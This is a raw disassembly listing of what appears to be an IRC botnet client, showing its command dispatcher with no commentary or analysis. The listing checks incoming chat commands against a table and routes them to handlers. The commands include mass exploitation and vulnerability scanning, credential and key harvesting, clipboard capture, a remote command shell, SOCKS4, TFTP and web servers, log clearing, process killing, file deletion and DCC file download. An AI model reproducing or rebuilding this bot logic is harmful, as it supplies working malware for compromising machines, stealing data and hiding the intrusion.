		call	sub_415CD0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40DAC5
		mov	eax, [ebp+14h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_415AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40DAC5
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		add	esp, 0Ch
		jmp	short loc_40DAC5
; ---------------------------------------------------------------------------


loc_40DA93:				; CODE XREF: seg000:0040DA4Fj
					; seg000:0040DA56j
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jnz	short loc_40DAC5
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		add	esp, 18h


loc_40DAC5:				; CODE XREF: seg000:0040DA68j
					; seg000:0040DA7Cj ...
		dec	dword ptr [ebp+28h]
		sub	dword ptr [ebp+14h], 4
		cmp	[ebp+28h], ebx
		jg	loc_40DA27
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_40DAE2:				; CODE XREF: seg000:0040DB2Ej
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40DB25
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40DB25
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		add	esp, 0Ch


loc_40DB25:				; CODE XREF: seg000:0040DB0Aj
					; seg000:0040DB10j
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_40DAE2
		mov	dword ptr [ebp-0C8h], 1


loc_40DB3A:				; CODE XREF: seg000:0040D99Fj
					; seg000:0040D9CDj
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, ds:byte_42C164
		jz	short loc_40DB53
		cmp	[ebp-0C8h], ebx
		jz	loc_40DD38


loc_40DB53:				; CODE XREF: seg000:0040DB45j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40998E
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40998E
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40998E
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_414419
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40998E
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_40998E
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 14h


loc_40DBC5:				; CODE XREF: seg000:0040DCB1j
		test	eax, eax
		jz	loc_40DCB6
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AA0
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0A4h]
		push	offset asc_436190 ; ")"
		push	eax
		call	sub_416C78
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A4h], 30h
		jl	short loc_40DC11
		cmp	byte ptr [ebp-0A4h], 39h
		jle	short loc_40DC27


loc_40DC11:				; CODE XREF: seg000:0040DC06j
		push	3
		lea	eax, [ebp-0A4h]
		push	offset a63	; "63"
		push	eax
		call	sub_416D20
		add	esp, 0Ch


loc_40DC27:				; CODE XREF: seg000:0040DC0Fj
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		jle	short loc_40DC4A
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_415A3F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_40DC5B
; ---------------------------------------------------------------------------


loc_40DC4A:				; CODE XREF: seg000:0040DC36j
		call	sub_415529
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_40DC5B:				; CODE XREF: seg000:0040DC48j
		lea	eax, [ebp-0A4h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_415CD0
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A4h]
		push	ebx
		push	eax
		call	sub_415550
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A4h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40998E
		push	edi
		push	dword ptr [ebp+8]
		call	sub_415AA0
		add	esp, 30h
		jmp	loc_40DBC5
; ---------------------------------------------------------------------------


loc_40DCB6:				; CODE XREF: seg000:0040DBC7j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_416D20
		lea	eax, [ebp-119Ch]
		push	offset asc_4269C8 ; " "
		push	eax
		call	sub_416C78
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_40DD06:				; CODE XREF: seg000:0040DD1Bj
		push	offset asc_4269C8 ; " "
		push	ebx
		call	sub_416C78
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40DD06
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_40D1FD
		add	ecx, 3
		mov	[eax], ecx


loc_40DD38:				; CODE XREF: seg000:0040DB4Dj
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+10h], edi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412927
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412927
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412905
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412905
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412863
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412863
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412845
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412845
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412730
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41260E
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41260E
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEA8
		push	dword ptr [ebp+esi-90h]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_4360C0


loc_40DE8C:				; CODE XREF: seg000:0040DECCj
					; seg000:0040DEF2j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_415207
		add	esp, 20h
		jmp	loc_40D1FD
; ---------------------------------------------------------------------------


loc_40DEA8:				; CODE XREF: seg000:0040DE77j
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DECE
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_43609C
		jmp	short loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DECE:				; CODE XREF: seg000:0040DEB7j
		push	edi
		push	offset dword_43608C
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DEF4
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_436080
		jmp	short loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DEF4:				; CODE XREF: seg000:0040DEDDj
		push	edi
		push	offset dword_436078
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF1D
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_43606C
		push	offset dword_436060
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF1D:				; CODE XREF: seg000:0040DF03j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF46
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_43603C
		push	offset dword_43602C
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF46:				; CODE XREF: seg000:0040DF2Cj
		push	edi
		push	offset dword_436020
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF6F
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_436014
		push	offset dword_436008
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF6F:				; CODE XREF: seg000:0040DF55j
		push	edi
		push	offset dword_435FF8
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF98
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_435FEC
		push	offset dword_435FE0
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DF98:				; CODE XREF: seg000:0040DF7Ej
		push	edi
		push	offset dword_435FD0
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFC1
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_435FC4
		push	offset dword_435FB8
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DFC1:				; CODE XREF: seg000:0040DFA7j
		push	edi
		push	offset dword_435FA8
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DFEA
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_435F9C
		push	offset dword_435F90
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40DFEA:				; CODE XREF: seg000:0040DFD0j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E013
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_435F74
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E013:				; CODE XREF: seg000:0040DFF9j
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F6
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125F6
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125DE
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125DE
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E090
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_435F14
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E090:				; CODE XREF: seg000:0040E076j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0B9
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_435EEC
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E0B9:				; CODE XREF: seg000:0040E09Fj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0E2
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E0E2:				; CODE XREF: seg000:0040E0C8j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C8
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125C8
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125A7
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4125A7
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412585
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412585
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41253D
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41253D
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124FF
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124FF
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124C8
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4124C8
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E230
		call	sub_409DD7
		test	eax, eax
		mov	eax, offset dword_435E10
		jnz	short loc_40E202
		mov	eax, offset dword_435DD8


loc_40E202:				; CODE XREF: seg000:0040E1FBj
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 1Ch
		jmp	loc_40D7DD
; ---------------------------------------------------------------------------


loc_40E230:				; CODE XREF: seg000:0040E1EDj
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D7
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123D7
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B7
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C7
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122C7
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122AE
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122AE
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412277
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412277
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41224C
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41224C
		push	edi
		push	offset aEnz_be010ne ; "enz.be010ne"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412212
		push	edi
		push	offset aEnz_010	; "enz.010"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412212
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412109
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412109
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120DF
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4120DF
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41205B
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41205B
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203E
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41203E
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412025
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412025
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FDE
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411FDE
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E47B
		push	dword ptr [ebp+esi-90h]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DE8C
; ---------------------------------------------------------------------------


loc_40E47B:				; CODE XREF: seg000:0040E461j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E508
		cmp	[ebp-8], ebx
		jnz	short loc_40E4AB
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aLoginList ; "-[Login List]-"
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_40E4AB:				; CODE XREF: seg000:0040E48Fj
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40E4B0:				; CODE XREF: seg000:0040E4F6j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E4BC
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E4BC:				; CODE XREF: seg000:0040E4B5j
		push	eax
		push	esi
		lea	eax, [ebp-2C8h]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154CD
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E4B0
		push	offset dword_435C38


loc_40E4FD:				; CODE XREF: seg000:004124C3j
		call	sub_40B151
		pop	ecx
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_40E508:				; CODE XREF: seg000:0040E48Aj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F9D
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F9D
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F72
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F72
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F4E
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F4E
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D77
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D77
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C39
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C39
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193A
		push	edi
		push	offset aVall	; "vall"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41193A
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411921
		push	dword ptr [ebp+10h]
		push	offset aEnz_n	; "enz.n"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411921
		push	dword ptr [ebp+10h]
		push	offset aEnz_join ; "enz.join"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411901
		push	dword ptr [ebp+10h]
		push	offset aEnz_j	; "enz.j"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411901
		push	dword ptr [ebp+10h]
		push	offset aEnz_part ; "enz.part"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118E8
		push	dword ptr [ebp+10h]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118E8
		push	dword ptr [ebp+10h]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118B1
		push	dword ptr [ebp+10h]
		push	offset aEnz_r	; "enz.r"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118B1
		push	dword ptr [ebp+10h]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117EE
		push	dword ptr [ebp+10h]
		push	offset aThreads_k ; "threads.k"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117EE
		push	dword ptr [ebp+10h]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411743
		push	dword ptr [ebp+10h]
		push	offset aClone_q	; "clone.q"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411743
		push	dword ptr [ebp+10h]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116F8
		push	dword ptr [ebp+10h]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116F8
		push	dword ptr [ebp+10h]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116E3
		push	dword ptr [ebp+10h]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116E3
		push	dword ptr [ebp+10h]
		push	offset aBox_open ; "box.open"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B9
		push	dword ptr [ebp+10h]
		push	offset aBox_o	; "box.o"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116B9
		push	dword ptr [ebp+10h]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411694
		push	dword ptr [ebp+10h]
		push	offset aEnz_se	; "enz.se"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411694
		push	dword ptr [ebp+10h]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411632
		push	dword ptr [ebp+10h]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411632
		push	dword ptr [ebp+10h]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411606
		push	dword ptr [ebp+10h]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411606
		push	dword ptr [ebp+10h]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AB
		push	dword ptr [ebp+10h]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4115AB
		push	dword ptr [ebp+10h]
		push	offset aBox_delete ; "box.delete"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411574
		push	dword ptr [ebp+10h]
		push	offset aBox_del	; "box.del"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411574
		push	dword ptr [ebp+10h]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411493
		push	dword ptr [ebp+10h]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
